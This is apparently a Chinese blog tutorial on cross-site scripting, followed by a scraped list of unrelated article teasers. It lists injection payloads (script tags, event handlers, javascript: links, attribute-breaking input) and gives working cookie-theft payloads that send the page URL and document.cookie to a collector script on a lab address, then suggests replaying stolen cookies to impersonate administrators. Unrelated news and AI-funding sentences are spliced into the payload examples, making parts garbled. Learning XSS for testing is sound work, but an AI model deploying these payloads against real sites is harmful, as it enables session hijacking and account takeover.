XSS攻击(1), 测试XSS漏洞, 获取cookie
XSS漏洞, 测试XSS漏洞, 获取cookie
一, 概念:
XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础.
二, 目的:
XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下是一些常见的XSS攻击目的:
-
窃取Cookie:许多攻击者使用XSS来窃取用户的cookies,尤其是session cookies。一旦攻击者获得了这些cookies,他们可能能够伪造用户身份,接管用户的会话,访问账户或执行未授权的操作。
-
账户劫持:与上一点相关,一旦窃取了用户的认证信息,攻击者可以接管用户账户。这可能涉及改变账户设置、进行欺诈性交易或获取敏感信息。
-
传播恶意软件:攻击者可以使用XSS漏洞在用户的浏览器中执行脚本,导致受害者下载和安装恶意软件或勒索软件。
-
钓鱼攻击:通过XSS,攻击者可以修改网页内容,创建伪造的登录窗口或其他交互式元素,诱使用户提供敏感信息,如用户名、密码或信用卡详情。
-
网站内容篡改:攻击者可以修改受害者看到的网站内容,包括插入虚假信息、广告或其他恶意内容。
-
网络钓鱼和点击劫持:攻击者可以使用XSS注入脚本,强制用户在背景中执行不可见的操作,如点击广告或链接,从而为攻击者带来经济利益。
-
利用用户的身份执行操作:如果受害者具有某些特权,例如网站管理员,攻击者可能会利用XSS漏洞,使用受害者的权限对网站进行未授权的修改。
-
收集敏感信息:除了cookies外,攻击者还可以利用XSS窃取存储在浏览器中的其他数据,如localStorage中的数据或Web应用中的敏感信息。
-
DDoS攻击:通过XSS,攻击者可以迫使受害者的浏览器成为分布式拒绝服务(DDoS)攻击的一部分,对目标网站进行攻击。
-
绕过访问控制:在某些情况下,攻击者可能使用XSS来绕过前端的安全检查或限制。
三, 测试XSS漏洞
原理:
XSS的原理就是开发者没有对输入内容进行过滤, 导致通过攻击者精心构造的前端代码, 输入后和原来的前端代码产生混淆, 形成新的页面语句, 并且新的页面代码能够被浏览器解析并输出.
步骤:
-
- 页面既有输入的地方, 也有输出的地方, 比如留言板, 论坛发帖等等.
-
- 在文本输入的地方使用
<JavaScript>, <img>, <button>等标签嵌入代码并提交, 例如:
- 在文本输入的地方使用
2023年前三季度我国货物贸易进出口总值30.8万亿元,同比微降0.2%;其中,9月当月,进出口3.74万亿元,
规模创年内单月新高。
<button onclick=alert(document.cookie)>显示cookie</button>
国新办当天举行的新闻发布会上表示,面对复杂严峻的外部环境和国内多重困难挑战,
我国货物贸易进出口平稳运行、积极向好。
-
- 查看提交后显示帖子的页面, 如果alert能够弹出消息, 说明存在XSS漏洞.
能够运行js的一些位置:
url: http://192.168.112.200/security/testxss.php?content=1
1. <script></script> 标签
content=<script>alert(1)</script>
content=<script>alert('hello word')</script>
content=<script>alert(/hello word/)</script>
注意:
在url提交参数时, 加号 ‘+’ 会被表示为空格.
如果想使用加号本身, 需要url编码, 加号的url编码是 ‘%2B’ 或 ‘%2b’ .
<script>var res=0;for (var i=0;i<=100;i%2B%2B){res%2B=i;} alert(res);</script>
2. onclick, onerror, onload, onfocus, onblur, onchange, onmouseover 等事件
content=<button onclick=alert(1)>快来点我</button>
content=<img src="https://www.baidu.com/result.png" onclick="alert(1)">
content=<img src="https://www.baidu.com/result.png" onmouseover="alert(1)">
content=<script>function test(){alert("hello world");}</script><button onclick=test()>点我测试</button>
网页源码:
<input name=keyword value="">
上面代码是一个输入框, 在输入框的位置输入payload, 用双引号对value做闭合, 后面写事件与需要执行的js代码.
payload:
" οnclick="alert(1)
提交后的网页源码:
<input name=keyword value="" onclick="alert(1)">
3. 超链接的 href 属性, 或类似属性.
content=<a href="javascript:alert(1)">快来点我</a>
四, 利用XSS获取url, cookie
将当前用户访问的url和cookie发送到攻击者的远程服务器接口.
后续通过burpsuit等工具篡改cookie即可伪装用户越权访问, 尤其是管理员账户.
案例:
- 利用js代码动态生成一个图片对象, 通过src属性将url和cookie发送到攻击者准备好的远程服务器上.
当用户访问页面时, 会自动发送这个GET请求.
%2b表示+, 用于拼接字符串
%26表示&, 用于表示get参数之间的间隔符
接口: http://192.168.112.200/security/getxssinfo.php
方法: GET
参数: url, cookie
payload:
这周,一家人工智能初创公司的募资额快追上这个数。
<script>new Image().src = "http://192.168.112.200/security/getxssinfo.php?url="%2blocation.href%2b"%26cookie="%2b document.cookie;
</script>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
- 如果目标服务器不能执行 <script> 标签, 也可以通过 <a> 标签与 <img> 标签来实现.
当用户点击图片链接后, 发送url与cookie给攻击者的远程服务器接口.
payload:
这周,一家人工智能初创公司的募资额快追上这个数。
<a href=\'javascript:location.href="http://192.168.112.200/security/getxssinfo.php?
url="%2blocation.href%2b"%26cookie="%2b document.cookie\'><img src="https://mbdp01.bdstatic.com/static/landing-pc/img/logo_top.79fdb8c2.png"/>
</a>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
相关文章:
XSS攻击(1), 测试XSS漏洞, 获取cookie
XSS漏洞, 测试XSS漏洞, 获取cookie 一, 概念: XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础. 二, 目的: XSS(跨站脚本࿰…...
linux任务优先级
这篇笔记记录了linux任务(指线程而非进程)优先级相关的概念,以及用户态可以用来操作这些优先级的系统调用。 基本概念 调度策略 linux内核中的调度器为任务定义了调度策略,也叫调度类,每个任务同一时刻都有唯一的调…...
JVM内存模型概述
这里主要分为五大块,分别是:本地方法栈、方法区、java堆、程序计数器和java栈。其中重点是方法区、java堆和java栈。 下面就把各个区域的性质总结一下:(说明,下面的只是结论,没有详细的对各个内存块进行详细…...
【JavaEE】CAS -- 多线程篇(7)
CAS 1. 什么是 CAS2. CAS 伪代码3. CAS 是怎么实现的4. CAS的应用4.1 实现原子类4.2 实现自旋锁 5. CAS 的 ABA 问题 1. 什么是 CAS CAS: 全称Compare and swap,字面意思:”比较并交换“能够比较和交换 某个寄存器中的值和内存中的值, 看是否相等, 如果相等, 则把另…...
18-spring 事务
文章目录 1. xml和注解配置方式的对象2.spring事务传播特性3. 注解事务的初始化流程4. 创建事务信息流程图5. 事务回滚流程图 1. xml和注解配置方式的对象 2.spring事务传播特性 事务传播行为类型说明PROPAGATION_REQUIRED如果当前没有事务,就新建一个事务…...
Qt窗体设计的布局
本文介绍Qt窗体的布局。 Qt窗体的布局分为手动布局和自动布局,手动布局即靠手工排布各控件的位置。而自动布局则是根据选择的布局类型自动按此类型排布各控件的位置,使用起来比较方便,本文主要介绍Qt的自动布局。 1.垂直布局 垂直布局就是…...
分布式锁 - 理论篇
一、为什么需要分布式锁 二、分布式锁实现 1.分布式锁演进 - 基本原理 我们可以同时去一个地方“占坑”,如果占到,就执行逻辑。否则就必须等待,直到释放锁。“占坑”可以去redis,可以去数据库,可以去任何大家都能访…...
复杂的菱形继承及菱形虚拟继承(详解)
复杂的菱形继承及菱形虚拟继承 复杂的菱形继承及菱形虚拟继承虚拟继承解决数据冗余和二义性的原理笔试面试题 复杂的菱形继承及菱形虚拟继承 单继承:一个子类只有一个直接父类时称这个继承关系为单继承 多继承:一个子类有两个或以上直接父类时称这个继…...
【快捷测试模型是否可以跑通】设置一张图片的张量形式,送入自己写的模型进行测试
文章目录 1. 1. import torch.nn as nn import torch from einops import rearrange, repeat from einops.layers.torch import Rearrange import torch.nn.functional as Fclass PreNorm(nn.Module):def __init__(self, dim, fn):super().__init__()self.norm nn.LayerNorm(…...
软考系列(系统架构师)- 2019年系统架构师软考案例分析考点
试题一 软件架构(架构风格、质量属性) 【问题1】(13分) 针对用户级别与折扣规则管理功能的架构设计问题,李工建议采用面向对象的架构风格,而王工则建议采用基于规则的架构风格。请指出该系统更适合采用哪种…...
安防视频监控系统EasyCVR视频汇聚存储平台定制化开发:新增kafka配置
安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台可拓展性强、…...
C++设计模式_08_Factory Method工厂方法模式
文章目录 1. “对象创建模式”模式1.1 典型模式 2. 动机(Motivation)3. 代码演示Factory Method工厂方法模式3.1 常规方法3.2 面向接口的编程3.2.1 FileSplitter1.cpp3.2.2 MainForm1.cpp 3.3 Factory Method工厂方法3.3.1 ISplitterFactory.cpp3.3.2 Ma…...
【TensorFlow1.X】系列学习笔记【基础一】
【TensorFlow1.X】系列学习笔记【基础一】 大量经典论文的算法均采用 TF 1.x 实现, 为了阅读方便, 同时加深对实现细节的理解, 需要 TF 1.x 的知识 文章目录 【TensorFlow1.X】系列学习笔记【基础一】前言线性回归非线性回归逻辑回归总结 前言 本篇博主将用最简洁的代码由浅入…...
Linux 基础操作手记三(内存篇)
Linux 基础操作手记三 释放内存虚拟机彻底无网络测试网速设置虚拟内存交换空间未使用虚拟机设置虚拟内存无法开机问题GParted - 分配内存系统盘扩容自己 释放内存 sync && echo 3 > /proc/sys/vm/drop_caches 虚拟机彻底无网络 还原默认设置,静静的等待…...
NodeJS的初使用,以及引入第三方插件和安装淘宝镜像的教程
NodeJs 命令 npm init -y 生成package.json文件npm i jquery --save–dev 开发依赖(jQuery后面还可以跟模块,可以有多个)npm i jquery --save 生产依赖npm i jquery --D 开发依赖npm uninstall jquery 卸载删除npm i 把删掉的模块,全部重新加载回来 1.介绍 1.什么是NodeJs?…...
Java读取文件的N种方法
1.概述 在这篇文章里, 我们将探索不同的方式从文件中读取数据。 首先, 学习通过标准的的Java类,从classpath、URL或者Jar中加载文件。 然后,学习通用BufferedReader, Scanner, StreamTokenizer, DataInputStream, SequenceInput…...
子类的构造与析构过程
一、简介 父类,也称基类,其构造方法和析构方法不能被继承; 子类,也称派生类,继承父类的方法和属性,但要加入新的构造和析构函数。 二、构造与析构过程 构造:先调用父类——>再调用子类 析构&…...
位运算相关笔记
位运算 Part 1:基础 左移:左移一位,相当于某数乘以 2 2 2。左移 x x x位,相当于该数乘以 2 x 2^x 2x。 右移:右移一位,相当于某数除以 2 2 2。右移 x x x位,相当于该数除以 2 x 2^x 2x。 与运算&…...
uniapp 安装 u-view 组件库
u-view 组件库安装教程:https://uviewui.com/components/install.html 注:以下使用 HBuilderx 安装 u-view 2.0 版本,不适用于其它版本。 1.安装 u-view 组件库 2、注册并登录 HBuilderx 账号,点击下载 u-view 组件库。 3、点击…...
Go 语言的成功案例:谁在使用 Go?
Go 语言,也被称为 Golang,是一门由Google开发的开源编程语言。自从2009年首次亮相以来,它在编程社区中崭露头角,并吸引了越来越多的开发者和组织。Go 以其高效的并发性、出色的性能和简单易懂的语法而闻名。在本文中,我…...
手把手教你用Modelsim仿真验证FPGA的PLL输出:从代码到波形图的全流程避坑
FPGA设计中PLL仿真验证全攻略:从Testbench编写到波形分析实战 在FPGA开发中,锁相环(PLL)作为时钟管理的核心组件,其稳定性直接影响整个系统的可靠性。但很多工程师在完成PLL代码编写后,常常面临一个关键问题:如何确认P…...
别只盯着微软商店!手把手教你从Intel官网下载并离线安装Killer Performance Suite和KCC控制中心
从Intel官网获取Killer套件的完整指南:绕过微软商店的终极解决方案 当你的Killer网卡无法通过微软商店安装控制中心时,那种挫败感我深有体会。去年在为电竞工作室部署30台高性能主机时,我就遇到了这个棘手问题——微软商店的区域限制和网络波…...
告别盲人摸象:用Python脚本模拟Tester,手把手带你玩转UDS诊断(ISO 14229)
告别盲人摸象:用Python脚本模拟Tester,手把手带你玩转UDS诊断(ISO 14229) 在汽车电子开发与测试领域,UDS(Unified Diagnostic Services)协议作为ISO 14229标准的核心,已成为ECU诊断的…...
3个明日方舟素材库使用指南:如何快速获取高质量游戏资源
3个明日方舟素材库使用指南:如何快速获取高质量游戏资源 【免费下载链接】ArknightsGameResource 明日方舟客户端素材 项目地址: https://gitcode.com/gh_mirrors/ar/ArknightsGameResource 你知道吗?创作明日方舟同人作品时,最耗费时…...
3-18 WPS JS宏 颜色设置实例应用(按条件设置单元格颜色)学习笔记
前面讲解了关于单元格的一些格式的设置,本节课再讲解一下各种清除方法。1.函数解析与用法Range().clear()//清除全部Range().Value2null //清除内容Range().ClearContents()//清除内容Range().ClearFormats()//清除格式Range().EntireRow.Range()//以Range单元格为基…...
Golang怎么读取环境变量_Golang如何用os.Getenv获取系统环境变量【基础】
os.Getenv读不到变量是因为进程只继承启动时的环境快照,需确认变量已生效;其返回空字符串无法区分“未设置”和“值为空”,应改用os.LookupEnv判断存在性。os.Getenv 读不到变量?先确认它真在进程环境里Go 程序启动时会拷贝父进程…...
oterm 入门指南:如何快速上手基于终端的 Ollama 客户端
oterm 入门指南:如何快速上手基于终端的 Ollama 客户端 【免费下载链接】oterm the terminal client for Ollama 项目地址: https://gitcode.com/gh_mirrors/ot/oterm oterm 是一款功能强大的终端客户端,专为 Ollama 设计,让你在命令行…...
MAVROS深度解析:从ROS话题到飞控指令的桥梁
1. MAVROS的核心作用与工作流程 MAVROS是连接ROS生态与PX4飞控的关键中间件,它的核心功能可以概括为"协议翻译器"和"数据路由器"。想象一下,你有一个只会说英语的飞控(PX4)和一个只会说中文的ROS系统…...
TBS1102B示波器测电压,这5个新手常踩的坑你避开了吗?(附正确设置流程)
TBS1102B示波器测电压:5个隐蔽陷阱与专业级解决方案 第一次接触泰克TBS1102B示波器时,我盯着屏幕上跳动的波形百思不得其解——明明按照说明书连接了电路,为什么测得的电压值与万用表相差30%?直到导师指出我忽略了探头的衰减比设置…...
告别U盘和光盘:用iSCSI虚拟硬盘给服务器装Kylin V10 SP1(保姆级图文)
无盘化革命:基于iSCSI的麒麟V10 SP1服务器高效部署指南 在数据中心运维和服务器管理的日常工作中,系统部署效率往往成为制约整体工作流程的关键瓶颈。传统的光盘或U盘安装方式不仅耗时费力,在面对批量部署需求时更是捉襟见肘。本文将介绍一种…...
